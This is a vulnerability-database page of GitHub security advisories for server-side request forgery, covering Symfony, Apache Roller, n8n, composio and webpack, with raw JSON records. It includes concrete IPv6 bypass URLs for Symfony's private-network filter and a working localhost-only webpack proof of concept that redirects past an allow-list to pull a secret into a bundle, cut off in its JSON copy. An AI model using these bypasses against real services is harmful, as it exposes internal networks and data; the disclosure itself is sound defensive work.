Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4858 vulnerabilities reference this CWE, most recent first.

GHSA-38CX-CQ6F-5755

Vulnerability from github – Published: 2026-06-15 17:31 – Updated: 2026-06-15 17:31
VLAI
Summary
Symfony: IpUtils::PRIVATE_SUBNETS Omits IPv6 Transition Forms (6to4, NAT64, Teredo, IPv4-compatible): SSRF Bypass in NoPrivateNetworkHttpClient
Details

Description

Symfony\Component\HttpClient\NoPrivateNetworkHttpClient is documented as a decorator that blocks requests to private networks by default. The list of blocked subnets (Symfony\Component\HttpFoundation\IpUtils::PRIVATE_SUBNETS on 6.4+, a private constant in NoPrivateNetworkHttpClient on 5.4) enumerates RFC1918, loopback, link-local and IPv4-mapped IPv6 (::ffff:0:0/96) prefixes, but omits the remaining IPv6 transition forms that can embed a private IPv4 destination: 6to4 (2002::/16, RFC 3056), Teredo (2001::/32, RFC 4380), NAT64 (64:ff9b::/96, RFC 6052 and 64:ff9b:1::/48, RFC 8215) and IPv4-compatible IPv6 (::/96, RFC 4291 §2.5.5.1).

IpUtils::checkIp6() is a pure bitwise CIDR comparison against the constants list and never extracts the embedded IPv4, so an attacker who can supply a URL writes the loopback / RFC1918 IPv4 target as e.g. http://[2002:7f00:1::]/ (6to4 → 127.0.0.1), http://[64:ff9b::7f00:1]/ (NAT64 → 127.0.0.1), http://[::7f00:1]/ (IPv4-compatible → 127.0.0.1) or http://[2001::1]/ (Teredo). IpUtils::isPrivateIp() returns false and NoPrivateNetworkHttpClient dispatches the request.

Real-world reachability of the embedded IPv4 depends on the deploy's IPv6 routing (6to4 tunnel interface, upstream NAT64 gateway, kernel handling of IPv4-compatible addresses), but the security boundary the decorator promises — the dispatch decision — is crossed regardless of whether the packet ultimately lands on the embedded IPv4.

Resolution

The private-subnet list now includes ::/96, 2002::/16, 2001::/32, 64:ff9b::/96 and 64:ff9b:1::/48. Blanket blocking of these prefixes matches the policy applied by Chromium and Mozilla's Private Network Access; server-side HTTPS APIs are not legitimately published on these prefixes.

The patches for this issue are available here for branch 5.4 and here for branch 6.4 (and forward-ported to 7.4, 8.0 and 8.1).

Credits

Symfony would like to thank tonghuaroot for reporting the issue and Nicolas Grekas for providing the fix.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.4.0"
            },
            {
              "fixed": "5.4.53"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/http-foundation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.4.0"
            },
            {
              "fixed": "6.4.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/http-foundation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/http-foundation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.4.0"
            },
            {
              "fixed": "5.4.53"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.4.0"
            },
            {
              "fixed": "6.4.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T17:31:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Description\n\n`Symfony\\Component\\HttpClient\\NoPrivateNetworkHttpClient` is documented as a decorator that blocks requests to private networks by default. The list of blocked subnets (`Symfony\\Component\\HttpFoundation\\IpUtils::PRIVATE_SUBNETS` on 6.4+, a private constant in `NoPrivateNetworkHttpClient` on 5.4) enumerates RFC1918, loopback, link-local and IPv4-mapped IPv6 (`::ffff:0:0/96`) prefixes, but omits the remaining IPv6 transition forms that can embed a private IPv4 destination: 6to4 (`2002::/16`, RFC 3056), Teredo (`2001::/32`, RFC 4380), NAT64 (`64:ff9b::/96`, RFC 6052 and `64:ff9b:1::/48`, RFC 8215) and IPv4-compatible IPv6 (`::/96`, RFC 4291 \u00a72.5.5.1).\n\n`IpUtils::checkIp6()` is a pure bitwise CIDR comparison against the constants list and never extracts the embedded IPv4, so an attacker who can supply a URL writes the loopback / RFC1918 IPv4 target as e.g. `http://[2002:7f00:1::]/` (6to4 \u2192 127.0.0.1), `http://[64:ff9b::7f00:1]/` (NAT64 \u2192 127.0.0.1), `http://[::7f00:1]/` (IPv4-compatible \u2192 127.0.0.1) or `http://[2001::1]/` (Teredo). `IpUtils::isPrivateIp()` returns `false` and `NoPrivateNetworkHttpClient` dispatches the request.\n\nReal-world reachability of the embedded IPv4 depends on the deploy\u0027s IPv6 routing (6to4 tunnel interface, upstream NAT64 gateway, kernel handling of IPv4-compatible addresses), but the security boundary the decorator promises \u2014 the dispatch decision \u2014 is crossed regardless of whether the packet ultimately lands on the embedded IPv4.\n\n### Resolution\n\nThe private-subnet list now includes `::/96`, `2002::/16`, `2001::/32`, `64:ff9b::/96` and `64:ff9b:1::/48`. Blanket blocking of these prefixes matches the policy applied by Chromium and Mozilla\u0027s Private Network Access; server-side HTTPS APIs are not legitimately published on these prefixes.\n\nThe patches for this issue are available [here](https://github.com/symfony/symfony/commit/82765368cf74177c36613575182f168a2eb765b2) for branch 5.4 and [here](https://github.com/symfony/symfony/commit/85b831555be8ea1f43bf01078afe87bc4c92f65e) for branch 6.4 (and forward-ported to 7.4, 8.0 and 8.1).\n\n### Credits\n\nSymfony would like to thank tonghuaroot for reporting the issue and Nicolas Grekas for providing the fix.",
  "id": "GHSA-38cx-cq6f-5755",
  "modified": "2026-06-15T17:31:28Z",
  "published": "2026-06-15T17:31:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/security/advisories/GHSA-38cx-cq6f-5755"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/commit/82765368cf74177c36613575182f168a2eb765b2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/commit/85b831555be8ea1f43bf01078afe87bc4c92f65e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/http-client/CVE-2026-48736.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/http-foundation/CVE-2026-48736.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-48736.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/symfony/symfony"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2026-48736"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Symfony: IpUtils::PRIVATE_SUBNETS Omits IPv6 Transition Forms (6to4, NAT64, Teredo, IPv4-compatible): SSRF Bypass in NoPrivateNetworkHttpClient"
}

GHSA-38F5-5M8X-C6H5

Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2024-04-04 00:49
VLAI
Details

Server-side Request Forgery (SSRF) and File Enumeration vulnerability in Apache Roller 5.2.1, 5.2.0 and earlier unsupported versions relies on Java SAX Parser to implement its XML-RPC interface and by default that parser supports external entities in XML DOCTYPE, which opens Roller up to SSRF / File Enumeration vulnerability. Note that this vulnerability exists even if Roller XML-RPC interface is disable via the Roller web admin UI. Mitigation: There are a couple of ways you can fix this vulnerability: 1) Upgrade to the latest version of Roller, which is now 5.2.2 2) Or, edit the Roller web.xml file and comment out the XML-RPC Servlet mapping as shown below:

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-17198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-28T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Server-side Request Forgery (SSRF) and File Enumeration vulnerability in Apache Roller 5.2.1, 5.2.0 and earlier unsupported versions relies on Java SAX Parser to implement its XML-RPC interface and by default that parser supports external entities in XML DOCTYPE, which opens Roller up to SSRF / File Enumeration vulnerability. Note that this vulnerability exists even if Roller XML-RPC interface is disable via the Roller web admin UI. Mitigation: There are a couple of ways you can fix this vulnerability: 1) Upgrade to the latest version of Roller, which is now 5.2.2 2) Or, edit the Roller web.xml file and comment out the XML-RPC Servlet mapping as shown below: \u003c!-- \u003cservlet-mapping\u003e \u003cservlet-name\u003eXmlRpcServlet\u003c/servlet-name\u003e \u003curl-pattern\u003e/roller-services/xmlrpc\u003c/url-pattern\u003e \u003c/servlet-mapping\u003e --\u003e",
  "id": "GHSA-38f5-5m8x-c6h5",
  "modified": "2024-04-04T00:49:02Z",
  "published": "2022-05-24T16:46:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-17198"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/94a36ed9c6241558b1c6181d8dd4ff263be7903abd1d20067d4330d5%40%3Cdev.roller.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/94a36ed9c6241558b1c6181d8dd4ff263be7903abd1d20067d4330d5@%3Cdev.roller.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108496"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-38FJ-36M5-783C

Vulnerability from github – Published: 2026-07-22 12:32 – Updated: 2026-07-22 22:00
VLAI
Summary
Duplicate Advisory: Authenticated SSRF via Dynamic Node Parameters Endpoints Allows Internal Network Access
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-9w78-79q7-r4fp. This link is maintained to preserve external references.

Original Description

n8n versions before 1.123.64 contain a server-side request forgery vulnerability in the dynamic-node-parameters endpoints that lack authorization scopes. Authenticated attackers can supply absolute URLs in routing configuration to override baseURL restrictions and make the n8n server issue HTTP requests to arbitrary internal targets when SSRF protection is disabled.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.123.64"
      },
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T22:00:26Z",
    "nvd_published_at": "2026-07-22T12:18:19Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-9w78-79q7-r4fp. This link is maintained to preserve external references.\n\n## Original Description\n\nn8n versions before 1.123.64 contain a server-side request forgery vulnerability in the dynamic-node-parameters endpoints that lack authorization scopes. Authenticated attackers can supply absolute URLs in routing configuration to override baseURL restrictions and make the n8n server issue HTTP requests to arbitrary internal targets when SSRF protection is disabled.",
  "id": "GHSA-38fj-36m5-783c",
  "modified": "2026-07-22T22:00:26Z",
  "published": "2026-07-22T12:32:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-9w78-79q7-r4fp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65593"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/n8n-before-ssrf-via-dynamic-node-parameters"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Authenticated SSRF via Dynamic Node Parameters Endpoints Allows Internal Network Access",
  "withdrawn": "2026-07-22T22:00:26Z"
}

GHSA-38MG-WM59-G64X

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 03:24
VLAI
Summary
composio allows Server-Side Request Forgery (SSRF) in BROWSERTOOL
Details

A Server-Side Request Forgery (SSRF) vulnerability exists in composiohq/composio version v0.4.4. This vulnerability allows an attacker to read the contents of any file in the system by exploiting the BROWSERTOOL_GOTO_PAGE and BROWSERTOOL_GET_PAGE_DETAILS actions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "composio-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-8955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-643",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T03:24:41Z",
    "nvd_published_at": "2025-03-20T10:15:45Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability exists in composiohq/composio version v0.4.4. This vulnerability allows an attacker to read the contents of any file in the system by exploiting the BROWSERTOOL_GOTO_PAGE and BROWSERTOOL_GET_PAGE_DETAILS actions.",
  "id": "GHSA-38mg-wm59-g64x",
  "modified": "2025-03-21T03:24:41Z",
  "published": "2025-03-20T12:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8955"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ComposioHQ/composio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ComposioHQ/composio/blob/master/python/composio/tools/local/browsertool/actions/goto_page.py#L1"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/13bc0399-2d9b-449e-95f2-6e9a7e39383d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "composio allows Server-Side Request Forgery (SSRF) in BROWSERTOOL"
}

GHSA-38R7-794H-5758

Vulnerability from github – Published: 2026-02-05 18:35 – Updated: 2026-02-06 14:39
VLAI
Summary
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
Details

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.

Details

In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.

Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.

Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.

image

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

mkdir split-ssrf-poc && cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli

2) Create server.js

#!/usr/bin/env node
"use strict";

const http = require("http");
const url = require("url");

const allowedPort = 9000;
const internalPort = 9100;

const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;
const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;
const internalPayload =
  `export const secret = ${JSON.stringify(secret)};\n` +
  `export default "ok";\n`;

function start(port, handler) {
  return new Promise(resolve => {
    const s = http.createServer(handler);
    s.listen(port, "127.0.0.1", () => resolve(s));
  });
}

(async () => {
  // Internal-only service (SSRF target)
  await start(internalPort, (req, res) => {
    if (req.url === "/secret.js") {
      res.statusCode = 200;
      res.setHeader("Content-Type", "application/javascript; charset=utf-8");
      res.end(internalPayload);
      console.log(`[internal] 200 /secret.js served (secret=${secret})`);
      return;
    }
    res.statusCode = 404;
    res.end("not found");
  });

  // Allowed host (redirector)
  await start(allowedPort, (req, res) => {
    const parsed = url.parse(req.url, true);

    if (parsed.pathname === "/redirect.js") {
      const to = parsed.query.to || internalUrlDefault;

      // Safety guard: only allow redirecting to localhost internal service in this PoC
      if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {
        res.statusCode = 400;
        res.end("to must be internal-only in this PoC");
        console.log(`[allowed] blocked redirect to: ${to}`);
        return;
      }

      res.statusCode = 302;
      res.setHeader("Location", to);
      res.end("redirecting");
      console.log(`[allowed] 302 /redirect.js -> ${to}`);
      return;
    }

    res.statusCode = 404;
    res.end("not found");
  });

  console.log(`\nServer running:`);
  console.log(`- allowed host:  http://127.0.0.1:${allowedPort}/redirect.js`);
  console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);
})();

3) Create attacker.js

#!/usr/bin/env node
"use strict";

const path = require("path");
const os = require("os");
const fs = require("fs/promises");
const webpack = require("webpack");
const webpackPkg = require("webpack/package.json");

const allowedPort = 9000;
const internalPort = 9100;

const allowedBase = `http://127.0.0.1:${allowedPort}/`;
const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;
const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;

async function walk(dir) {
  const out = [];
  const items = await fs.readdir(dir, { withFileTypes: true });
  for (const it of items) {
    const p = path.join(dir, it.name);
    if (it.isDirectory()) out.push(...await walk(p));
    else if (it.isFile()) out.push(p);
  }
  return out;
}

async function fileContains(f, needle) {
  try {
    const buf = await fs.readFile(f);
    return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle);
  } catch {
    return false;
  }
}

async function findInFiles(files, needle) {
  const hits = [];
  for (const f of files) if (await fileContains(f, needle)) hits.push(f);
  return hits;
}

const fmtBool = b => (b ? "✅" : "❌");

(async () => {
  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-"));
  const srcDir = path.join(tmp, "src");
  const distDir = path.join(tmp, "dist");
  const cacheDir = path.join(tmp, ".buildHttp-cache");
  const lockfile = path.join(tmp, "webpack.lock");
  const bundlePath = path.join(distDir, "bundle.js");

  await fs.mkdir(srcDir, { recursive: true });
  await fs.mkdir(distDir, { recursive: true });

  await fs.writeFile(
    path.join(srcDir, "index.js"),
    `import { secret } from ${JSON.stringify(entryUrl)};
console.log("LEAKED_SECRET:", secret);
export default secret;
`
  );

  const config = {
    context: tmp,
    mode: "development",
    entry: "./src/index.js",
    output: { path: distDir, filename: "bundle.js" },
    experiments: {
      buildHttp: {
        allowedUris: [allowedBase],
        cacheLocation: cacheDir,
        lockfileLocation: lockfile,
        upgrade: true
      }
    }
  };

  const compiler = webpack(config);

  compiler.run(async (err, stats) => {
    try {
      if (err) throw err;

      const info = stats.toJson({ all: false, errors: true, warnings: true });
      if (stats.hasErrors()) {
        console.error(info.errors);
        process.exitCode = 1;
        return;
      }

      const bundle = await fs.readFile(bundlePath, "utf8");
      const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);
      const secret = m ? m[0] : null;

      console.log("\n[ATTACKER RESULT]");
      console.log(`- webpack version: ${webpackPkg.version}`);
      console.log(`- node version: ${process.version}`);
      console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);
      console.log(`- imported URL (allowed only): ${entryUrl}`);
      console.log(`- temp dir: ${tmp}`);
      console.log(`- lockfile: ${lockfile}`);
      console.log(`- cacheDir: ${cacheDir}`);
      console.log(`- bundle:   ${bundlePath}`);

      if (!secret) {
        console.log("\n[SECURITY SUMMARY]");
        console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);
        return;
      }

      const lockHit = await fileContains(lockfile, secret);

      let cacheFiles = [];
      try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; }
      const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false;

      const allTmpFiles = await walk(tmp);
      const allHits = await findInFiles(allTmpFiles, secret);

      console.log(`\n- extracted secret marker from bundle: ${secret}`);

      console.log("\n[SECURITY SUMMARY]");
      console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);
      console.log(`- Internal target (SSRF-like): ${internalTarget}`);
      console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);
      console.log(`- ACTUAL: internal content treated as module and bundled`);

      console.log("\n[EVIDENCE CHECKLIST]");
      console.log(`- bundle contains secret:   ${fmtBool(true)}`);
      console.log(`- cache contains secret:    ${fmtBool(cacheHit)}`);
      console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);

      console.log("\n[PERSISTENCE CHECK] files containing secret");
      for (const f of allHits.slice(0, 30)) console.log(`- ${f}`);
      if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`);
    } catch (e) {
      console.error(e);
      process.exitCode = 1;
    } finally {
      compiler.close(() => {});
    }
  });
})();

4) Run

Terminal A:

node server.js

Terminal B:

node attacker.js

5) Expected

Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).

Impact

Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:

trigger network requests from the build machine to internal-only services (SSRF behavior),

cause content from outside the allow-list to be bundled into build outputs,

and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "webpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.49.0"
            },
            {
              "fixed": "5.104.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T18:35:28Z",
    "nvd_published_at": "2026-02-05T23:15:53Z",
    "severity": "LOW"
  },
  "details": "### Summary\nWhen `experiments.buildHttp` is enabled, webpack\u2019s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.\n\n### Details\nIn the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`.\n\nPractical consequence: if an \u201callowed\u201d host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.\n\n**Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.\n\n\u003cimg width=\"1648\" height=\"461\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524\" /\u003e\n\n\n### PoC\nThis PoC is intentionally constrained to **127.0.0.1** (localhost-only \u201cinternal service\u201d) to demonstrate SSRF behavior safely.\n\n#### 1) Setup\n```bash\nmkdir split-ssrf-poc \u0026\u0026 cd split-ssrf-poc\nnpm init -y\nnpm i -D webpack webpack-cli\n```\n\n#### 2) Create server.js\n```js\n#!/usr/bin/env node\n\"use strict\";\n\nconst http = require(\"http\");\nconst url = require(\"url\");\n\nconst allowedPort = 9000;\nconst internalPort = 9100;\n\nconst internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`;\nconst secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;\nconst internalPayload =\n  `export const secret = ${JSON.stringify(secret)};\\n` +\n  `export default \"ok\";\\n`;\n\nfunction start(port, handler) {\n  return new Promise(resolve =\u003e {\n    const s = http.createServer(handler);\n    s.listen(port, \"127.0.0.1\", () =\u003e resolve(s));\n  });\n}\n\n(async () =\u003e {\n  // Internal-only service (SSRF target)\n  await start(internalPort, (req, res) =\u003e {\n    if (req.url === \"/secret.js\") {\n      res.statusCode = 200;\n      res.setHeader(\"Content-Type\", \"application/javascript; charset=utf-8\");\n      res.end(internalPayload);\n      console.log(`[internal] 200 /secret.js served (secret=${secret})`);\n      return;\n    }\n    res.statusCode = 404;\n    res.end(\"not found\");\n  });\n\n  // Allowed host (redirector)\n  await start(allowedPort, (req, res) =\u003e {\n    const parsed = url.parse(req.url, true);\n\n    if (parsed.pathname === \"/redirect.js\") {\n      const to = parsed.query.to || internalUrlDefault;\n\n      // Safety guard: only allow redirecting to localhost internal service in this PoC\n      if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) {\n        res.statusCode = 400;\n        res.end(\"to must be internal-only in this PoC\");\n        console.log(`[allowed] blocked redirect to: ${to}`);\n        return;\n      }\n\n      res.statusCode = 302;\n      res.setHeader(\"Location\", to);\n      res.end(\"redirecting\");\n      console.log(`[allowed] 302 /redirect.js -\u003e ${to}`);\n      return;\n    }\n\n    res.statusCode = 404;\n    res.end(\"not found\");\n  });\n\n  console.log(`\\nServer running:`);\n  console.log(`- allowed host:  http://127.0.0.1:${allowedPort}/redirect.js`);\n  console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);\n})();\n```\n\n#### 3) Create attacker.js\n```js\n#!/usr/bin/env node\n\"use strict\";\n\nconst path = require(\"path\");\nconst os = require(\"os\");\nconst fs = require(\"fs/promises\");\nconst webpack = require(\"webpack\");\nconst webpackPkg = require(\"webpack/package.json\");\n\nconst allowedPort = 9000;\nconst internalPort = 9100;\n\nconst allowedBase = `http://127.0.0.1:${allowedPort}/`;\nconst internalTarget = `http://127.0.0.1:${internalPort}/secret.js`;\nconst entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;\n\nasync function walk(dir) {\n  const out = [];\n  const items = await fs.readdir(dir, { withFileTypes: true });\n  for (const it of items) {\n    const p = path.join(dir, it.name);\n    if (it.isDirectory()) out.push(...await walk(p));\n    else if (it.isFile()) out.push(p);\n  }\n  return out;\n}\n\nasync function fileContains(f, needle) {\n  try {\n    const buf = await fs.readFile(f);\n    return buf.toString(\"utf8\").includes(needle) || buf.toString(\"latin1\").includes(needle);\n  } catch {\n    return false;\n  }\n}\n\nasync function findInFiles(files, needle) {\n  const hits = [];\n  for (const f of files) if (await fileContains(f, needle)) hits.push(f);\n  return hits;\n}\n\nconst fmtBool = b =\u003e (b ? \"\u2705\" : \"\u274c\");\n\n(async () =\u003e {\n  const tmp = await fs.mkdtemp(path.join(os.tmpdir(), \"webpack-attacker-\"));\n  const srcDir = path.join(tmp, \"src\");\n  const distDir = path.join(tmp, \"dist\");\n  const cacheDir = path.join(tmp, \".buildHttp-cache\");\n  const lockfile = path.join(tmp, \"webpack.lock\");\n  const bundlePath = path.join(distDir, \"bundle.js\");\n\n  await 